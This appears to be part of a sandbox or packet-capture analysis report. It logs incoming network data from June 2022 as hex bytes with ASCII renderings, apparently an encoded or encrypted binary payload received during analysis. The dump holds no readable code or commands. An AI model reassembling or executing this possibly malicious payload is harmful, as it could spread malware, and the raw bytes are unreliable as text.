fh0f16f81%0f^.f%%%h0-h fh0f6f8-%.{fffrf#
2022-06-26 07:43:17 UTC	642	IN	Data Raw: 66 ff 60 b6 99 3f 66 30 2d 66 b7 21 23 da da 66 28 2d 68 b9 ec 25 da da da 66 a6 0d fb b9 da da 66 20 2d dc bd 21 23 da da 36 38 9e 66 e5 30 66 11 2e 66 fd 66 20 2d 75 66 9e 0d d2 86 da da 66 f5 66 9e 0d c7 da da da 34 36 38 9e 66 e5 30 66 11 5e e9 05 2e 7b 66 17 66 fd 66 20 2d 75 8f 29 64 50 05 eb 20 09 25 64 38 0d eb 20 11 25 68 20 05 75 8f dc 94 b1 9c 1c 25 68 20 15 df 35 25 25 25 0d d9 ca da da 66 f5 68 20 15 0d 7f da da da 34 83 36 66 c0 38 9e 68 65 25 30 66 11 2c 66 20 2d 5e e5 21 66 35 64 30 21 c6 27 da 25 66 35 af 37 66 28 2d 5f 2c d6 99 17 66 25 06 20 21 65 66 30 2d 64 67 19 34 38 9e 66 e5 30 66 11 66 20 2d a5 9d c8 25 50 4f 66 20 2d 66 65 2d da 95 31 da 95 2d 66 20 2d 68 6d 13 66 20 2d 68 75 15 66 20 2d 5e e5 17 0d 70 23 da da 66 20 2d eb 65 c8 Data Ascii: f`?f0-f!#f(-h%ff -!#68f0f.ff -ufff468f0f^.{fff -u)dP %d8 %h u%h 5%%%fh 46f8he%0f,f -^!f5d0!'%f57f(-_,f% !ef0-dg48f0ff -%POf -fe-1-f -hmf -huf -^p#f -e
2022-06-26 07:43:17 UTC	643	IN	Data Raw: 25 0d ca 1f da da 34 c4 ed e0 25 25 30 0d 0a d6 da da 34 30 0d 7d d6 da da 34 66 20 2d 75 30 68 30 fd 66 20 19 0d 9a d6 da da 34 66 20 fd 0d c7 1f da da 34 c4 76 e0 25 25 30 0d 27 d6 da da 34 30 0d 06 d6 da da 34 66 20 2d 75 30 68 30 f9 66 20 19 0d 23 21 da da 34 66 20 f9 0d 50 1f da da 34 c4 93 e0 25 25 30 0d b0 1f da da 34 30 0d 23 1f da da 34 66 20 19 6d 5e 0d 27 97 29 99 3d c6 55 66 20 2d 75 ea 92 20 15 66 30 19 0d 89 1f da da 34 c4 18 e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 d1 0b 1c 25 0d 4f 1f da da 34 c4 fe e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 01 0b 1c 25 0d 35 1f da da 34 c4 e4 e0 25 25 30 0d 95 1f da da 34 66 20 19 6d 5e 0d 27 97 2f 99 00 6d 99 24 6d 99 48 c6 5a 30 0d ab 1f da da 34 66 20 2d 75 ea 92 20 13 66 30 19 0d d4 d4 da da 34 c4 f7 Data Ascii: %4%%040}4f -u0h0f 4f 4v%%0'404f -u0h0f #!4f P4%%040#4f m^')=Uf -u f04%%f -u f)`%O4%%f -u f)`%54%%04f m^'/m$mHZ04f -u f04
2022-06-26 07:43:17 UTC	644	IN	Data Raw: 66 20 2d 75 dd c1 0b 1c 25 df dc 25 25 25 0d 00 d0 da da 34 c6 40 66 2b 64 20 01 c6 fa 66 2b af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e e6 66 2b 0d 6b f8 25 25 64 2b c6 27 da 2b 66 2b a5 5d 25 99 e4 66 2b af 25 5f 20 d6 50 ac 66 20 2d 75 66 3b 06 30 01 66 20 01 0d b6 19 da da 34 66 2b a5 5d 25 99 3b da 2b c6 37 66 20 2d 75 68 20 d6 df dc 25 25 25 0d e3 19 da da 34 66 2b a5 5d 25 ea 60 ff 1d da da 66 20 2d da ad 1d 23 da da 0e e5 7f 34 34 89 64 35 8d f0 c7 65 25 68 20 f9 df 27 25 25 25 0d 1a c3 da da 9e c4 4c 72 da da c6 c6 3a 83 36 66 c0 38 9e 1c 28 0a 75 28 25 25 25 1c 0a 75 25 1c 28 75 28 25 25 25 25 1c 1c 1c 1c 25 25 25 25 1c 1c 1c 25 45 25 25 25 30 66 11 5c e9 1d 23 da da 2e 7b 66 ff 66 15 0e e5 64 60 21 23 da da 0e e5 64 60 1d 23 da da 60 b6 99 e6 Data Ascii: f -u%%%%4@f+d f+%%%%~=%Nf+k%%d+'+f+]%f+%_ Pf -uf;0f 4f+]%;+7f -uh %%%4f+]%`f -#44d5e%h '%%%Lr:6f8(u(%%%u%(u(%%%%%%%%%E%%%0f\#.{ffd`!#d`#`
2022-06-26 07:43:17 UTC	646	IN	Data Raw: 13 8b 66 20 17 8b 64 20 11 c6 5b 8b 66 58 15 af 20 c4 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 19 8b 64 20 11 c6 3f 8b 66 58 19 af 20 c6 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 15 8b 64 20 11 5e 58 21 25 a3 33 30 ea 92 a2 0d e2 23 da da 34 66 1d c6 95 a5 58 0d 27 52 8f 0d 46 ca da da ea 92 ed ea 92 e0 09 e5 1c 25 06 ed 66 9c 2c 94 89 25 25 25 74 d2 d4 34 8b 46 e5 89 8b de 1d 8b 5e 18 09 e5 1c 25 25 9b 61 ea 92 a2 16 ed a3 10 8b 5e a2 89 c6 0a 0d 55 ca da da 66 1d a5 58 1b dc 50 37 8b 66 20 19 8b 64 20 11 8b 66 20 17 8b 64 20 13 c6 35 8b 66 20 19 8b 64 20 13 8b 66 20 17 8b 64 20 11 66 ae af e8 6c 0b 1c 25 66 eb 0d 3e 21 da da 66 ae 66 eb 0d 3b d6 da da a5 18 79 c2 1c 25 25 ea a9 8e 25 25 25 66 f0 b9 0b 1c 25 dd d5 cd 65 25 0d f4 c3 da da 60 e5 ea a9 76 Data Ascii: f d [fX f d f d ?fX f d f d ^X!%30#4fX'RF%f,%%%t4F^%%a^UfXP7f d f d 5f d f d fl%f>!ff;y%%%%%f%e%`v
2022-06-26 07:43:17 UTC	647	IN	Data Raw: da da 66 9e 0d d4 b9 da da c6 e4 66 9e 66 fb 0d 77 b9 da da 83 36 66 c0 38 e7 29 25 66 e5 2e 7b 32 2c 66 b4 66 17 66 1d 8f 27 68 69 49 29 75 7b 32 0d 29 dd da da 60 e5 a3 e0 af 29 49 c6 27 66 9e 7f 3a 83 36 9e 30 66 11 2c 2e 7b 32 64 28 21 66 1f 66 15 66 38 2d 2e 66 20 35 66 65 21 0e a4 66 fb 0d 46 da da da 5e 16 25 50 e8 66 20 21 66 29 dd 66 ae 0d 58 d7 da da 3a 83 36 34 38 e7 2d 25 b5 30 66 11 0e a4 2c 2c 2c 2c 2c 2c 2e 7b 32 0e e5 30 8d 86 88 65 25 89 da 55 89 64 45 0d a2 92 da da 64 20 21 96 dc 25 25 25 e3 d5 0b 1c 25 9a 05 0b 1c 25 30 8f e6 68 20 19 75 94 b5 9c 1c 25 66 ae 6f 68 1e 69 6d 0d 54 da da da 34 66 30 19 66 eb 0d b3 6e da da 30 8f e6 68 20 15 75 94 e5 9c 1c 25 66 ae 6f 68 1e 5d 6d 0d 7b da da da 34 66 30 15 66 a2 0d 46 6e da da 1e 5e a2 29 Data Ascii: fffw6f8)%f.{2,fff'hiI)u{2)`)I'f:60f,.{2d(!fff8-.f 5fe!fF^%Pf !f)fX:648-%0f,,,,,,.{20e%UdEd !%%%%%0h u%fohimT4f0fn0h u%foh]m{4f0fFn^)
2022-06-26 07:43:17 UTC	648	IN	Data Raw: 7b 0d a6 8e da da 5c 98 01 21 da da 25 35 25 25 50 41 8d e0 dc 25 25 68 60 0f d8 da da 75 66 60 f5 21 da da 75 0d 9a d7 da da 60 e5 50 fe 8d e0 dc 25 25 68 60 0f d8 da da 75 7c 8d 0b 1c 25 75 0d c9 d7 da da 66 eb 0d 68 da da da 64 20 19 c6 e4 06 90 f5 21 da da 64 50 19 68 60 0f d8 da da d7 81 0d b7 33 25 25 66 f5 67 68 60 ca 23 da da 94 29 dc 25 25 0d 22 ae da da dd 09 d7 65 25 64 20 21 dd 09 d7 65 25 64 20 1d 66 9e 66 f0 d5 4a 65 25 0d 53 a9 da da a9 e5 99 04 66 1e 29 0d fb b7 da da 64 20 21 66 20 21 0d c6 f7 da da 60 e5 99 37 66 30 21 a5 a1 27 da 53 99 2d dd 0d d7 65 25 64 20 1d 8d 25 dc 25 25 68 60 0f 21 da da 75 7c 5d f5 1c 25 66 65 29 75 7c 8d 0b 1c 25 0d d3 7c da da 75 0d 75 8e da da 68 70 c9 d6 da da 66 de 0d 8a 5c da da 68 60 c9 d6 da da 64 60 c9 Data Ascii: {\!%5%%PA%%h`uf`!u`P%%h`u\|%ufhd !dPh`3%%fgh`#)%%"e%d !e%d ffJe%Sf)d !f !`7f0!'S-e%d %%%h`!u\|]%fe)u\|%\|uuhpf\h`d`
2022-06-26 07:43:17 UTC	650	IN	Data Raw: da da 66 20 21 64 20 09 eb 20 0d e6 64 50 11 eb 20 15 e6 64 58 19 eb 20 1d 25 68 20 09 75 8f 27 68 30 05 7c 0d aa 1c 25 0d f2 cd da da 66 28 05 d7 dc 7c fd 52 65 25 0d 11 21 da da 66 fd 0e e5 7f 34 34 89 64 35 8d 06 92 65 25 68 20 05 0d e8 64 da da 68 20 21 0d e0 64 da da 9e c4 36 a7 da da c6 0d 66 9e 3a 83 36 66 c0 38 9e 64 f1 64 39 49 66 48 25 c4 56 a7 da da 9e 66 e5 30 66 11 0d 61 da da da 68 28 2d 5e 9c 29 66 30 2d 0d ff da da da 38 e7 29 25 66 e5 66 e8 e1 f3 1c 25 d7 dc 7c 5d 9d 65 25 0d 23 21 da da 0d 20 a7 da da 9e 66 25 18 b7 25 25 e5 5a 51 99 34 18 b3 25 25 e5 5a f0 99 2e 08 e0 25 25 e5 99 30 08 62 25 25 25 99 61 6d 99 6d c6 30 e0 4c da da 1a 5e 0d 27 97 0e 99 12 c6 22 18 bb 25 25 e5 5a ec 99 10 08 6e 25 25 e5 99 4d 6d 99 ee 6d 99 3b c6 0a 08 d8 Data Ascii: f !d dP dX %h u'h0\|%f(\|Re%!f44d5e%h dh !d6f:6f8dd9IfH%Vf0fah(-^)f0-8)%ff%\|]e%#! f%%%ZQ4%%Z.%%0b%%%amm0L^'"%%Zn%%Mmm;
2022-06-26 07:43:17 UTC	651	IN	Data Raw: 94 a5 25 25 25 0d 48 ab da da 5c e9 b9 25 25 25 9e 66 e5 7b 32 66 1f 0e f7 60 e5 99 8b a5 61 5d 25 99 85 60 da 50 39 af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 71 d7 dc c6 6d 66 d2 73 c6 dc 73 60 1b a1 37 af 31 55 5c bc da 25 25 25 ea 7e e8 3d 9c 1c 25 97 c4 66 aa 06 f3 5c bc dc 25 25 a5 54 e0 24 5e a4 23 1c 60 a4 50 29 d7 27 c6 ee af 29 5d 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 27 d7 dc 66 e7 3a 83 9e 68 65 25 2e 7b 66 17 66 fd 0e e5 a5 18 79 c2 1c 25 25 99 ea 66 9e 0d 49 ad da da 66 fb 6f 0d 8d da da da 83 36 9e b5 0e a4 a5 18 79 c2 1c 25 25 99 e2 0d 79 da da da 66 ed 66 9c 9e 68 65 25 2e 7b 66 17 66 fd 66 9e 0d ce 60 da da 16 15 a3 e4 66 9e 0d 0d 60 da da 66 15 66 fb 66 9e 0d e0 25 25 25 83 36 9e 66 e5 2e 7b 32 30 66 1f 66 15 0e c8 60 da a3 6b 66 eb Data Ascii: %%%H\%%%f{2f`a]%`P9%%%%~=%Nqmfss`71U\%%%~=%f\%%T$^#`P)')]%%%~=%N'f:he%.{ffy%%fIfo6y%%yffhe%.{fff`f`fff%%%6f.{20ff`kf
2022-06-26 07:43:17 UTC	652	IN	Data Raw: 7c 6d c2 1c 25 0d 99 da da da 75 0d 9b c7 da da 0e 1b c6 04 af 69 12 2b af 81 12 e2 4f fd 97 3f 1e ad 20 da af 20 da 00 da 25 25 25 ea 86 e0 3d 9c 1c 25 23 20 da 23 a6 50 0f 5e eb 27 5e 23 31 58 2f af 69 12 2b 2f 69 12 e2 50 ed 3a 83 36 34 38 9e 7c 71 c2 1c 25 5e 1d fa 52 e2 ea 7e e0 35 9e 1c 25 ea b7 e5 9e 68 65 25 30 66 11 5c e9 89 23 da da 2e 7b 32 a2 e0 6d c2 1c 25 e4 29 25 25 a2 e0 71 c2 1c 25 e4 25 25 25 a2 e0 75 c2 1c 25 dc 25 25 25 0d 48 c7 da da 60 e5 99 e0 7e 6d c2 1c 25 8b 60 e5 99 f6 66 f5 8b 5c 07 da de ea 92 f7 64 f0 71 c2 1c 25 ea 92 e5 9c 0d 2f 7e 75 c2 1c 25 e3 61 9e 65 25 9a 3d 9c 1c 25 94 2d 25 25 25 ce 80 5e 18 f5 e5 1c 25 27 ea 60 88 25 25 25 0d 48 da da da a9 e5 99 ee eb e0 30 c2 1c 25 25 eb e0 79 c2 1c 25 25 c4 9a 25 25 25 30 0d 15 Data Ascii: \|m%ui+O? %%%=%# #P^'^#1X/i+/iP:648\|q%^R~5%he%0f\#.{2m%)%%q%%%%u%%%%H`~m%`f\dq%/~u%ae%=%-%%%^%'`%%%H0%%y%%%%%0
2022-06-26 07:43:17 UTC	654	IN	Data Raw: 25 da 00 59 ce 1c 25 66 e5 30 66 11 5e e9 11 2e 0e e5 64 20 11 0e e5 30 8d 91 a2 65 25 89 da 55 89 64 45 0d 20 78 da da 66 fd 60 b6 99 12 64 38 15 eb 20 19 25 68 30 11 66 9e 0d af 09 da da 66 20 11 64 20 1d eb 20 21 e6 68 20 15 75 8f dc 66 e8 cd aa 1c 25 d7 dc 7c 15 9d 65 25 0d 9d c8 da da 66 f5 c6 39 66 e8 45 f5 1c 25 d7 dc 7c 15 9d 65 25 0d 4b c8 da da 66 f5 64 7f 31 66 e7 0d 8b 97 da da 0e e5 7f 34 34 89 64 35 8d 4e a2 65 25 68 20 11 0d 98 9d da da 9e c4 ee 97 da da c6 15 36 66 c0 38 9e 2e 66 fd 60 b6 50 e0 0d 7d da da da 66 9e 36 9e 2e 7b 2c 96 39 9e 1c 25 66 19 c6 3b 66 de 64 2b 66 2b 66 25 64 de df 2d 25 25 25 66 2b 0d 5f 87 da da 5e 16 25 50 c0 7f 83 36 9e b5 2e 8d 11 a2 65 25 0d 7c c1 da da 66 fd 60 b6 99 35 8d 21 a2 65 25 2e 0d bd c1 da da 7e 61 Data Ascii: %Y%f0f^.d 0e%UdE xf`d8 %h0ff d !h uf%\|e%f9fE%\|e%Kfd1f44d5Ne%h 6f8.f`P}f6.{,9%f;fd+f+f%d-%%%f+_^%P6.e%\|f`5!e%.~a
2022-06-26 07:43:17 UTC	655	IN	Data Raw: da da 66 29 49 da 6d 31 66 29 49 5e 9d 31 25 50 6d 66 f9 66 1e 45 0d e4 d8 da da 0d e9 72 da da 16 1e 49 99 59 68 1e 31 0d 92 d6 da da 66 ed 5c d4 da da 25 25 50 e4 66 9e 0d 43 23 da da c6 f4 60 a4 5a f0 66 9c 94 da da 25 25 74 d2 d4 60 f7 50 e2 66 9e 0d de 23 da da 7f 36 9e 66 35 0e a4 64 2d 66 e7 0d e2 8d da da 9e 66 e5 30 66 11 5e e9 19 2e 66 fd 77 0d 2c bd da da 64 20 19 0e e5 30 8d 2f a8 65 25 89 da 55 89 64 45 b4 58 23 0e e5 30 8d 11 f1 65 25 89 da 55 89 64 45 66 9e 0d 3d 9d da da 75 0d ef 72 da da 64 20 1d 0e e5 7f 34 34 89 64 35 8d ce f1 65 25 b6 07 b4 48 23 9e c4 6e 91 da da c6 ce 0e e5 7f 34 34 89 64 35 8d ec a8 65 25 66 20 19 75 0d ca 72 da da 9e c4 50 91 da da c6 ca 66 20 1d 36 66 c0 38 9e 68 65 25 f8 25 25 25 31 9e 1c 25 b1 aa 1c 25 29 9e 1c Data Ascii: f)Im1f)I^1%PmffErIYh1f\%%PfC#`Zf%%t`Pf#6f5d-ff0f^.fw,d 0/e%UdEX#0e%UdEf=urd 44d5e%H#n44d5e%f urPf 6f8he%%%%1%%)
2022-06-26 07:43:17 UTC	656	IN	Data Raw: 65 dd 41 a8 65 25 0d 45 91 da da dd 2d f3 65 25 0d 63 91 da da a5 18 40 0b 1c 25 25 99 ea dd 5d 9c 1c 25 df 0d ac 65 25 0d ef 93 da da 0d e4 c4 da da 0d 2d 0f da da 0d ce d0 da da 0d bb cc da da 0e e5 7f 34 34 89 64 35 8d b6 ac 65 25 9e c4 86 42 da da c6 1d 38 9e 25 25 25 da da da da 27 25 25 25 55 9d 25 25 2e 7b 66 17 66 fd 16 ce 58 33 66 9e 06 eb 0d b4 81 da da de eb 83 36 9e 66 eb 06 9e 0d a6 81 da da de 9e 83 36 9e 66 e5 30 66 11 0e e5 30 8d 14 f7 65 25 89 da 55 89 64 45 da e0 cd c2 1c 25 0e e5 7f 34 34 89 64 35 8d 65 f7 65 25 9e c4 6b 42 da da c6 1d 38 9e 66 e5 5e 08 cd c2 1c 25 dc 9e 30 66 11 0e e5 30 8d 4c f7 65 25 89 da 55 89 64 45 da e0 d1 c2 1c 25 0e e5 7f 34 34 89 64 35 8d 9d f7 65 25 9e c4 33 42 da da c6 1d 38 9e 66 e5 5e 08 d1 c2 1c 25 dc 9e Data Ascii: eAe%E-e%c@%%]%e%-44d5e%B8%%%'%%%U%%.{ffX3f6f6f0f0e%UdE%44d5ee%kB8f^%0f0Le%UdE%44d5e%3B8f^%
2022-06-26 07:43:17 UTC	658	IN	Data Raw: 15 66 9e 36 34 38 e7 35 25 b5 da 00 6d ce 1c 25 66 e5 da 00 69 ce 1c 25 66 e5 da 00 65 ce 1c 25 66 e5 da 00 61 ce 1c 25 66 e5 30 66 11 2c 2e 7b 66 ff 66 15 64 38 21 66 20 2d 5e 9d 21 25 99 f4 7b 66 20 2d 66 65 21 75 0d 18 68 da da 64 20 21 5e 58 21 25 50 de 64 38 21 66 20 21 83 36 34 38 9e b5 30 66 11 2c 8d 5d b4 65 25 0d 37 68 da da 64 20 21 30 df c9 f7 65 25 dd 6d b4 65 25 0d 82 da da da 34 7e d5 c2 1c 25 30 df f9 f7 65 25 dd 81 b4 65 25 0d 6c da da da 34 7e d9 c2 1c 25 30 df f9 f7 65 25 dd 89 b4 65 25 0d 56 da da da 34 7e dd c2 1c 25 30 df 05 f7 65 25 dd 91 b4 65 25 0d 40 da da da 34 7e e1 c2 1c 25 30 df 05 f7 65 25 dd 99 b4 65 25 0d 2a da da da 34 7e e5 c2 1c 25 30 df 05 f7 65 25 dd a1 b4 65 25 0d 14 da da da 34 7e e9 c2 1c 25 30 df 05 f7 65 25 dd a9 Data Ascii: f6485%m%fi%fe%fa%f0f,.{ffd8!f -^!%{f -fe!uhd !^X!%Pd8!f !6480f,]e%7hd !0e%me%4~%0e%e%l4~%0e%e%V4~%0e%e%@4~%0e%e%*4~%0e%e%4~%0e%
2022-06-26 07:43:17 UTC	659	IN	Data Raw: 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3c 97 44 3c 93 99 79 54 95 40 1e 3c 4e 99 20 97 97 4a 97 66 e5 e1 01 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 e1 01 65 25 31 25 25 25 a1 52 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3c 97 44 3c 93 99 2a 9b 40 97 8b 91 4a 52 20 97 97 4a 97 66 e5 45 b8 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 45 b8 65 25 31 25 25 25 a1 52 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f2 20 7b 3c 97 44 3c 93 99 24 93 9b 3c 91 44 89 1c 97 42 20 97 97 Data Ascii: %[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<yT@<N Jfe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%e%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<*@JR JfEe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Ee%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<$<DB
2022-06-26 07:43:17 UTC	663	IN	Data Raw: 25 68 20 21 0d c2 34 da da 9e c4 94 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd 0e e5 30 8d 37 c8 65 25 89 da 55 89 64 45 68 20 21 0d d3 53 25 25 66 9e 66 30 21 0d e9 63 25 25 0e e5 7f 34 34 89 64 35 8d f4 c8 65 25 68 20 21 0d f2 2e da da 9e c4 48 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd 0e e5 30 8d 83 c8 65 25 89 da 55 89 64 45 68 20 21 0d 3f 61 25 25 66 9e 66 30 21 0d 2d 1a 25 25 0e e5 7f 34 34 89 64 35 8d 40 c8 65 25 68 20 21 0d f6 48 da da 9e c4 fc 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd 0e e5 30 8d cf c8 65 25 89 da 55 89 64 45 68 20 21 0d 27 16 25 25 66 9e 66 30 21 0d b5 63 25 25 0e e5 7f 34 34 89 64 35 8d 8c c8 65 25 68 20 21 0d aa 91 da da 9e c4 b0 26 da da c6 15 36 34 38 9e 68 65 25 2e 7b 32 Data Ascii: %h !4q648he%0f%.f07e%UdEh !S%%ff0!c%%44d5e%h !.Hq648he%0f%.f0e%UdEh !?a%%ff0!-%%44d5@e%h !Hq648he%0f%.f0e%UdEh !'%%ff0!c%%44d5e%h !&648he%.{2
2022-06-26 07:43:17 UTC	667	IN	Data Raw: da 57 89 64 47 66 20 21 8b 66 25 ea 92 f5 5e 1f 39 ea 62 a6 dc 25 25 da 49 70 3a d8 65 25 8e d8 65 25 eb d8 65 25 ca d8 65 25 27 23 65 25 39 23 65 25 4f 23 65 25 65 23 65 25 81 23 65 25 97 23 65 25 35 da 65 25 fe da 65 25 60 23 65 25 1f 23 65 25 35 da 65 25 fe da 65 25 fe da 65 25 bd 23 65 25 86 23 65 25 9a 23 65 25 ae 23 65 25 0b 23 65 25 a2 20 15 25 25 25 25 a2 20 19 25 25 25 25 c4 8d de 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 39 25 8b dd dc 25 0d 01 07 da da a2 20 15 25 25 25 25 a2 20 19 25 25 25 25 c4 1a de 25 25 66 20 21 ea 9a 65 2d 74 64 20 15 64 30 19 c4 51 de 25 25 66 20 21 66 65 2d 74 64 20 15 64 30 19 c4 3f de 25 25 66 20 21 b4 65 2d 0d a0 0a da da 64 20 15 64 30 19 c4 29 de 25 25 66 20 21 b8 65 2d 0d 8a 0a da da 64 20 15 64 30 19 c4 13 27 25 25 Data Ascii: WdGf !f%^9b%%Ip:e%e%e%e%'#e%9#e%O#e%e#e%#e%#e%5e%e%`#e%#e%5e%e%e%#e%#e%#e%#e%#e% %%%% %%%%%%E%%9%% %%%% %%%%%%f !e-td d0Q%%f !fe-td d0?%%f !e-d d0)%%f !e-d d0'%%
2022-06-26 07:43:17 UTC	671	IN	Data Raw: 1c 25 c8 31 1c 25 c8 31 1c 25 c8 31 1c 25 b3 31 1c 25 c9 31 1c 25 92 31 1c 25 ef 31 1c 25 bc 31 1c 25 0e e5 64 20 1d c4 de dc 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 29 25 8b dd dc 25 0d 9b f9 da da 0e e5 64 20 1d c4 be 25 25 25 66 20 21 ba 65 2d b4 38 1d 76 c4 f9 25 25 25 66 20 21 b6 65 2d b4 38 1d 76 c4 a0 25 25 25 66 20 21 66 65 2d 64 20 1d c4 92 25 25 25 66 20 21 ea 9a 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c4 7c 25 25 25 66 20 21 ea e3 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c4 66 25 25 25 66 20 21 ea db 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c6 9d 66 20 21 ea 92 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c6 40 66 20 21 66 65 2d 64 20 11 0e e5 64 20 15 ba 48 11 b4 38 1d 76 c6 73 66 20 21 ba 8d 2d b4 38 1d 76 c6 67 0e e5 30 8d ec e8 1c 25 89 da 55 89 64 45 66 20 21 0d Data Ascii: %1%1%1%1%1%1%1%1%d %%E%%)%%d %%%f !e-8v%%%f !e-8v%%%f !fe-d %%%f !e-d 8v\|%%%f !e-d 8vf%%%f !e-d 8vf !e-d 8v@f !fe-d d H8vsf !-8vg0%UdEf !
2022-06-26 07:43:17 UTC	675	IN	Data Raw: 3c da da 66 30 1d 66 eb 0d 0f fe da da c4 c2 de 25 25 b4 1e 2d 5e e9 19 b6 61 49 76 68 20 19 0d 16 50 da da 66 30 19 66 eb 0d a4 fe da da c4 eb de 25 25 b8 1e 2d 5e e9 19 b6 61 49 76 68 20 15 0d 3f 50 da da 66 30 15 66 eb 0d cd fe da da c4 80 de 25 25 da 4e 31 da 4e 2d 68 20 11 0d ac d6 da da 66 30 11 66 eb 0d 9a 00 da da c4 ad de 25 25 da 4e 31 da 4e 2d 68 20 0d 0d 11 d6 da da 66 30 0d 66 eb 0d c7 00 da da c4 46 de 25 25 68 20 09 75 66 1e 2d 94 da da da 5a df dc 25 25 25 0d 5a 06 da da 66 30 09 66 eb 0d 58 00 da da c4 6b de 25 25 68 30 05 8b 66 1e 2d 0d 09 d6 da da 66 30 05 66 eb 0d 87 00 da da c4 06 de 25 25 68 30 01 ea e3 1e 2d 0d 64 85 da da 66 30 01 66 eb 0d ee fe da da c4 35 de 25 25 68 30 fd 0e e5 af 1e 2d 0d 48 85 da da 66 30 fd 66 eb 0d d2 47 da Data Ascii: <f0f%%-^aIvh Pf0f%%-^aIvh ?Pf0f%%N1N-h f0f%%N1N-h f0fF%%h uf-Z%%%Zf0fXk%%h0f-f0f%%h0-df0f5%%h0-Hf0fG
2022-06-26 07:43:17 UTC	679	IN	Data Raw: 25 25 1e 50 97 97 40 93 3e 54 25 25 25 25 da da da da 29 25 25 25 69 3c 99 40 25 25 25 25 da da da da 2b 25 25 25 2a 91 40 2e 99 97 25 25 da da da da 2d 25 25 25 69 44 4e 95 3c 99 3e 8d 25 25 25 25 da da da da e0 25 25 25 20 97 97 4a 97 25 25 25 da da da da e2 25 25 25 67 4a 4a 91 40 3c 93 25 da da da da e2 25 25 25 7b 3c 97 44 3c 93 99 25 da da da da e2 25 25 25 30 93 46 93 4a 52 93 25 da da da da e2 25 25 25 69 40 3e 44 48 3c 91 25 da da da da de 25 25 25 49 55 6b 25 da da da da 2d 25 25 25 2e 8d 4a 97 99 24 93 99 25 25 25 25 da da da da 29 25 25 25 67 54 99 40 25 25 25 25 da da da da 29 25 25 25 32 4a 97 89 25 25 25 25 da da da da 2d 25 25 25 71 4a 93 42 32 4a 97 89 25 25 25 25 da da da da e0 25 25 25 24 93 99 5b 59 25 25 25 30 66 11 5c e9 1d d8 da da Data Ascii: %%P@>T%%%%)%%%i<@%%%%+%%%*@.%%-%%%iDN<>%%%%%%% J%%%%%%gJJ@<%%%%{<D<%%%%0FJR%%%%i@>DH<%%%%IUk%-%%%.J$%%%%)%%%gT@%%%%)%%%2J%%%%-%%%qJB2J%%%%%%%$[Y%%%0f\
2022-06-26 07:43:17 UTC	683	IN	Data Raw: 99 2d 68 30 d1 0d fe de 25 25 66 38 15 60 b6 99 41 26 68 d9 b8 d1 d8 da da 66 a3 29 60 da 99 e4 66 b2 66 2b 0d 0d 35 da da 60 b6 50 09 0e e5 7f 34 34 89 64 35 8d 0f 18 1c 25 66 38 15 60 b6 99 37 26 66 a9 b8 d1 d8 da da 75 0d fb 1b da da 60 b6 50 13 9e c4 c1 d6 23 da c6 ba 0e e5 7f 34 34 89 64 35 8d e8 63 1c 25 68 20 d1 66 f0 95 59 1c 25 0d f6 31 da da 9e c4 54 d6 23 da c6 0f 3a 83 36 66 c0 38 e7 2d 25 66 e5 30 66 11 5e e9 1d 66 20 2d 66 65 21 64 20 1d eb 20 21 2b 68 20 1d 75 8f 25 66 e8 e5 aa 1c 25 d7 dc 7c 85 10 1c 25 0d 44 9b da da 0d 99 d6 23 da 34 34 38 9e 30 66 11 5e e9 05 2e 7b 32 64 28 19 64 30 21 64 20 09 68 58 05 66 20 21 64 e2 0e 1b 64 40 1d 66 20 19 65 9c 05 27 04 e9 68 20 15 64 45 66 e2 0d ad 6b da da 66 fd 8f 25 8f 25 2e 66 e2 75 8f 25 8f 25 Data Ascii: -h0%%f8`A&hf)`ff+5`P44d5%f8`7&fu`P#44d5c%h fY%1T#:6f8-%f0f^f -fe!d !+h u%f%\|%D#4480f^.{2d(d0!d hXf !dd@f e'h dEfkf%%.fu%%
